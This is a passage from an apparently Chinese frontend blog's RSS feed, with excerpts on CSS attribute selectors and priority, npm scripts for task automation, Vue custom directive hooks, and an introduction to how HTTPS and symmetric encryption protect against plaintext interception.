&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;优先级&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;!important&amp;gt;行内样式&amp;gt;ID选择器&amp;gt;类、伪类、属性&amp;gt;元素、伪元素&amp;gt;继承&amp;gt;通配符&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="属性选取器"&gt;属性选取器&lt;/h3&gt;
&lt;p&gt;示例html&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;ul&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;li&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;&amp;gt;1&amp;lt;/&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;li&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;abc&amp;#34;&lt;/span&gt;&amp;gt;2&amp;lt;/&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;li&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;abc efj&amp;#34;&lt;/span&gt;&amp;gt;3&amp;lt;/&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;li&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;abcefj&amp;#34;&lt;/span&gt;&amp;gt;4&amp;lt;/&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;li&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;efjabc&amp;#34;&lt;/span&gt;&amp;gt;5&amp;lt;/&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;li&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;ab&amp;#34;&lt;/span&gt;&amp;gt;6&amp;lt;/&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;ul&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-003/image-01.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[attribute]&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;&lt;span style="color:#f92672"&gt;foo&lt;/span&gt;&lt;span style="color:#f92672"&gt;]&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;:&lt;span style="color:#66d9ef"&gt;red&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;选择所有带 &lt;code&gt;foo&lt;/code&gt; 属性的元素&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-003/image-02.png"&gt;&lt;/p&gt;
&lt;h4 id="attributevalue"&gt;[attribute=value]&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;选择 attribute=value 的所有元素。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;&lt;span style="color:#f92672"&gt;foo&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#f92672"&gt;abc&lt;/span&gt;&lt;span style="color:#f92672"&gt;]&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;:&lt;span style="color:#66d9ef"&gt;red&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-003/image-03.png"&gt;&lt;/p&gt;
&lt;h4 id="attributevalue-1"&gt;[attribute~=value]&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;选择 attribute 属性包含单词 value 的所有元素。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;&lt;span style="color:#f92672"&gt;foo&lt;/span&gt;&lt;span style="color:#f92672"&gt;~=&lt;/span&gt;&lt;span style="color:#f92672"&gt;abc&lt;/span&gt;&lt;span style="color:#f92672"&gt;]&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;:&lt;span style="color:#66d9ef"&gt;red&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-003/image-04.png"&gt;&lt;/p&gt;
&lt;h4 id="attributevalue-2"&gt;[attribute^=value]&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;选择其 attribute 属性值以 value 开头的所有元素。类似正则的 &lt;code&gt;^&lt;/code&gt;,以什么开始&lt;/p&gt;</description></item><item><title>任务自动化</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-003/</link><pubDate>Sat, 05 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-003/</guid><description>&lt;p&gt;在前端开发中，我们经常需要执行各种重复性任务，比如编译代码、启动本地服务器、监听文件变化、运行测试、部署代码等。虽然可以使用不同的工具来完成这些任务，但&lt;code&gt;npm&lt;/code&gt;本身提供了一个强大的功能：&lt;code&gt;npm scripts&lt;/code&gt;。通过&lt;code&gt;npm scripts&lt;/code&gt;，我们可以将这些任务脚本化并集中管理，从而提高开发效率。本文将专注于如何使用&lt;code&gt;npm scripts&lt;/code&gt;自动化前端开发任务，以及它在项目管理中的作用。&lt;/p&gt;
&lt;h3 id="什么是npm-scripts"&gt;什么是&lt;code&gt;npm scripts&lt;/code&gt;？&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;npm scripts&lt;/code&gt;是&lt;code&gt;npm&lt;/code&gt;提供的一种机制，允许我们在项目的&lt;code&gt;package.json&lt;/code&gt;文件中定义一组命令，方便执行各种任务。在&lt;code&gt;package.json&lt;/code&gt;文件中，&lt;code&gt;scripts&lt;/code&gt;字段可以包含多个脚本，每个脚本都是一个键值对，其中键是脚本的名称，值是实际要执行的命令。例如：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;scripts&amp;#34;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;build&amp;#34;: &amp;#34;webpack --config webpack.config.js&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;test&amp;#34;: &amp;#34;jest&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在上面的示例中，定义了两个脚本：&lt;code&gt;build&lt;/code&gt; 和 &lt;code&gt;test&lt;/code&gt;。可以通过以下方式在命令行中运行这些脚本：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;npm run build
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;npm run test
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;npm&lt;/code&gt;会执行对应的命令，自动帮我们完成编译和测试任务。&lt;/p&gt;
&lt;h3 id="为什么使用npm-scripts"&gt;为什么使用&lt;code&gt;npm scripts&lt;/code&gt;？&lt;/h3&gt;
&lt;p&gt;在现代前端开发流程中，自动化任务是不可或缺的，而&lt;code&gt;npm scripts&lt;/code&gt;的使用有以下几大优势：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;减少对全局依赖的需求&lt;/strong&gt;：在传统项目中，开发者通常需要全局安装各种命令行工具，如&lt;code&gt;webpack&lt;/code&gt;、&lt;code&gt;eslint&lt;/code&gt;、&lt;code&gt;babel&lt;/code&gt;等。而&lt;code&gt;npm scripts&lt;/code&gt;可以直接调用项目的本地依赖，无需全局安装。这确保了不同开发环境中的工具版本一致，减少了版本冲突和兼容性问题。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;集中管理任务&lt;/strong&gt;：&lt;code&gt;npm scripts&lt;/code&gt;将所有任务定义集中在&lt;code&gt;package.json&lt;/code&gt;文件中，项目中的所有开发人员都可以直观地看到可用的任务列表，无需了解每个工具的详细使用方法。只需运行&lt;code&gt;npm run &amp;lt;task&amp;gt;&lt;/code&gt;，便可一键完成常见任务。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;支持跨平台执行&lt;/strong&gt;：&lt;code&gt;npm scripts&lt;/code&gt;中的命令可以跨平台使用，在Windows、macOS和Linux系统上表现一致，尤其适合团队协作。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;便于组合和链式执行&lt;/strong&gt;：&lt;code&gt;npm&lt;/code&gt;允许通过逻辑操作符来组合脚本，实现复杂任务的自动化执行。例如可以通过&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;和&lt;code&gt;||&lt;/code&gt;来串联多个任务，使得多个步骤一次完成。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="如何定义和使用npm-scripts"&gt;如何定义和使用&lt;code&gt;npm scripts&lt;/code&gt;？&lt;/h3&gt;
&lt;p&gt;让我们通过具体的示例来看看&lt;code&gt;npm scripts&lt;/code&gt;如何自动化前端开发任务。&lt;/p&gt;
&lt;h4 id="1-设置基本的开发任务"&gt;1. 设置基本的开发任务&lt;/h4&gt;
&lt;p&gt;假设我们正在开发一个React项目，我们可以在&lt;code&gt;package.json&lt;/code&gt;中定义以下基本任务：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;scripts&amp;#34;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;start&amp;#34;: &amp;#34;webpack serve --mode development&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;build&amp;#34;: &amp;#34;webpack --mode production&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;test&amp;#34;: &amp;#34;jest&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;lint&amp;#34;: &amp;#34;eslint src/**/*.js&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里的脚本分别执行以下任务：&lt;/p&gt;</description></item><item><title>vue指令</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-003/</link><pubDate>Fri, 04 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-003/</guid><description>&lt;h4 id="11-钩子函数"&gt;1.1 钩子函数&lt;/h4&gt;
&lt;p&gt;一个指令定义对象可以提供如下几个钩子函数 (均为可选)：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;bind 只调用一次，指令第一次绑定到元素时调用。在这里可以进行一次性的初始化设置。&lt;/li&gt;
&lt;li&gt;inserted 被绑定元素插入父节点时调用 (仅保证父节点存在，但不一定已被插入文档中)。&lt;/li&gt;
&lt;li&gt;update 所在组件的 VNode 更新时调用，但是可能发生在其子 VNode 更新之前。指令的值可能发生了改变，也可能没有。&lt;/li&gt;
&lt;li&gt;componentUpdated 指令所在组件的 VNode 及其子 VNode 全部更新后调用。&lt;/li&gt;
&lt;li&gt;unbind 只调用一次，指令与元素解绑时调用。&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Vue&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;directive&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;gqs&amp;#39;&lt;/span&gt;,{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;bind&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 当指令绑定到 HTML 元素上时触发.**只调用一次**
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;bind triggerd&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;inserted&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 当绑定了指令的这个HTML元素插入到父元素上时触发(在这里父元素是 `div#app`)**.但不保证,父元素已经插入了 DOM 文档.**
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;inserted triggerd&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;updated&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 所在组件的`VNode`更新时调用.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;updated triggerd&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;componentUpdated&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 指令所在组件的 VNode 及其子 VNode 全部更新后调用。
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;componentUpdated triggerd&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;unbind&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 只调用一次，指令与元素解绑时调用.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;unbind triggerd&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="12-钩子函数参数"&gt;1.2 钩子函数参数&lt;/h4&gt;
&lt;p&gt;指令钩子函数会被传入以下参数：&lt;/p&gt;</description></item><item><title>https</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/security/https/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/security/https/</guid><description>&lt;p&gt;阅读本文之前，咱们先来看几道面试题:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;什么是&lt;code&gt;HTTPS&lt;/code&gt;？&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HTTPS&lt;/code&gt;改进&lt;code&gt;HTTP&lt;/code&gt;存在的哪些问题？&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HTTPS&lt;/code&gt;加密原理是什么？&lt;/li&gt;
&lt;li&gt;什么是&lt;code&gt;对称加密&lt;/code&gt;和&lt;code&gt;非对称加密&lt;/code&gt;？&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HTTPS&lt;/code&gt;传输过程?&lt;/li&gt;
&lt;li&gt;什么是数字证书？为什么需要数字证书?&lt;/li&gt;
&lt;li&gt;为什么需要数字签名？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;hellip;&lt;/p&gt;
&lt;p&gt;如果你能准确无误的回答以上问题，你可以不用继续往下面看了，如果不能，通过阅读这篇文章，我相信你肯定能完全掌握&lt;code&gt;HTTPS&lt;/code&gt;。好了废话不多说，我们开始。&lt;/p&gt;
&lt;h2 id="什么是-https"&gt;什么是 HTTPS&lt;/h2&gt;
&lt;p&gt;当我们在访问一个地址采用&lt;code&gt;HTTPS&lt;/code&gt;协议的&lt;code&gt;Web&lt;/code&gt;网站时，浏览器的地址栏内会出现一个带锁的标记，就像这样：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/https/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;我们想要了解一个东西之前，我们得先知道它是什么，那么&lt;code&gt;HTTPS&lt;/code&gt;是什么呢？&lt;/p&gt;
&lt;p&gt;可能很多同学都能说道说道：“&lt;code&gt;HTTPS&lt;/code&gt;就是能够给我们的请求加密的一个东西”。的确，我们都知道，&lt;code&gt;HTTPS&lt;/code&gt;可以加密，但是很多同学的理解仅限于此，无法深层次的理解&lt;code&gt;HTTPS&lt;/code&gt;。那么到底什么是&lt;code&gt;HTTPS&lt;/code&gt;？&lt;/p&gt;
&lt;p&gt;&lt;code&gt;HTTPS&lt;/code&gt;是在&lt;code&gt;HTTP&lt;/code&gt;上建立&lt;code&gt;SSL&lt;/code&gt;加密层，并对传输数据进行加密，是&lt;code&gt;HTTP&lt;/code&gt;协议的安全版。 说得再简单一点，&lt;code&gt;HTTPS&lt;/code&gt;就是 &lt;code&gt;HTTP + SSL&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/https/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;哦明白了，原来&lt;code&gt;HTTPS&lt;/code&gt;就是“披着羊皮的狼”啊。&lt;code&gt;HTTP&lt;/code&gt;你肯定是理解的，如果不理解，建议先去阅读&lt;code&gt;HTTP&lt;/code&gt;相关知识。&lt;/p&gt;
&lt;p&gt;那&lt;code&gt;SSL&lt;/code&gt;又是什么呢？&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/https/image-03.webp"&gt;&lt;/p&gt;
&lt;p&gt;我们都知道，&lt;code&gt;HTTP&lt;/code&gt;是应用层的协议，&lt;code&gt;HTTP&lt;/code&gt;是直接和&lt;code&gt;TCP&lt;/code&gt;通信的，当我们更换为&lt;code&gt;HTTPS&lt;/code&gt;的时候，它就演变成了，先和&lt;code&gt;SSL&lt;/code&gt;通信、然后再由&lt;code&gt;SSL&lt;/code&gt;和&lt;code&gt;TCP&lt;/code&gt;通信了。知道了这一流程，我们思考一下，加密过程是在哪个过程进行的？ 结果很显然，加密过程就是在&lt;code&gt;HTTP&lt;/code&gt;-&amp;gt;&lt;code&gt;SSL&lt;/code&gt;这一阶段实现的，所以&lt;code&gt;SSL&lt;/code&gt;简单来说，就是实现&lt;code&gt;HTTP&lt;/code&gt;的加密过程:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/security/https/image-04.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;对称加密&lt;/code&gt;和&lt;code&gt;非对称加密&lt;/code&gt;、&lt;code&gt;散列函数&lt;/code&gt;这些又是啥啊？没事后面会讲，这些概念你先记住咯。&lt;/p&gt;
&lt;h2 id="https-有什么用"&gt;HTTPS 有什么用&lt;/h2&gt;
&lt;p&gt;在讲明HTTPS的作用之前，我们先来看看&lt;code&gt;HTTP&lt;/code&gt;有哪些弊端：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;和服务器通信时，直接采用明文传输，那么明文内容有可能被挟持监听和篡改&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;由于&lt;code&gt;HTTP&lt;/code&gt;本身不具备加密的功能，所以无法做到对通信内容进行加密。也就是说，我们传输的方式，都是直接以明文的形式进行传输，这些明文数据会经过中间代理服务器、路由器、wifi热点、通信服务运营商等多个物理节点，相当于所有通信的数据都在网络中&lt;code&gt;裸奔&lt;/code&gt;，想想都刺激。&lt;/p&gt;
&lt;p&gt;那么显而易见，明文传输有什么缺陷呢？明文传输可能会导致&lt;code&gt;数据泄露&lt;/code&gt;、&lt;code&gt;数据篡改&lt;/code&gt;、&lt;code&gt;流量劫持&lt;/code&gt;、&lt;code&gt;钓鱼攻击&lt;/code&gt;等一系列危险。假设有这么一个场景，某一天，你的另一个女朋友过生日，于是你用浏览器登录了你的邮箱，想给她发送一封生日祝福的邮件。假如这个邮箱网站使用的是&lt;code&gt;HTTP&lt;/code&gt;协议，当你点击发送的时候，你的“祝福内容”（注意：是明文），被某个黑客拦截到，然后将这份“祝福内容”直接转发到你的“现任女朋友”，那后果简直不堪设想。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;和服务器通信时，无法验证身份&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;使用HTTP发起请求时，服务器不会验证请求方的身份，响应请求时，请求方也不会验证服务方的身份。说简单点就是，任何人都可以发起请求，同时，服务器只要接收到请求，不管对方是谁都会返回一个响应。所以任何人都可以伪造虚假服务器欺骗用户，实现“钓鱼欺诈”，用户无法察觉，这也是为啥以前我们的qq号老是被盗的原因。&lt;/p&gt;
&lt;p&gt;了解到HTTP这些缺陷之后，我们就自然知道了HTTPS到底有什么用：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;保证数据的安全性（加密我们的明文数据）&lt;/li&gt;
&lt;li&gt;保证数据的完整性&lt;/li&gt;
&lt;li&gt;身份认证&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="https如何加密ssl过程"&gt;HTTPS如何加密（SSL过程）&lt;/h2&gt;
&lt;p&gt;通过上面的内容，我们知道了&lt;code&gt;HTTPS&lt;/code&gt;能够对数据进行加密，那么它具体是如何加密的呢？&lt;/p&gt;
&lt;p&gt;这里我们需要先了解两种加密方式：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对称加密&lt;/li&gt;
&lt;li&gt;非对称加密&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;别觉得它们会有多么难理解，心中坚信，一切计算机网络的知识都是&lt;code&gt;纸老虎&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="什么是对称加密"&gt;什么是对称加密&lt;/h2&gt;
&lt;p&gt;那么什么是&lt;code&gt;对称加密&lt;/code&gt;呢？&lt;/p&gt;
&lt;p&gt;简单说就是有一个密钥，它可以加密数据，也可以对加密后的数据进行解密。试想有这样一个场景：两个港口需要运送一批货物，发货方发货时，将货物装进集装箱并用一把锁将集装箱锁起来，收货方收到货物时，需要用同样的钥匙（不一定是同一把）将集装箱打开，从而取出货物。&lt;/p&gt;
&lt;p&gt;所以简单来说，对称加密就是通信双方都有一把同样的&lt;code&gt;钥匙&lt;/code&gt;，用于打开同一个&lt;code&gt;集装箱&lt;/code&gt;（解密），从而获取数据的一种方式:&lt;/p&gt;
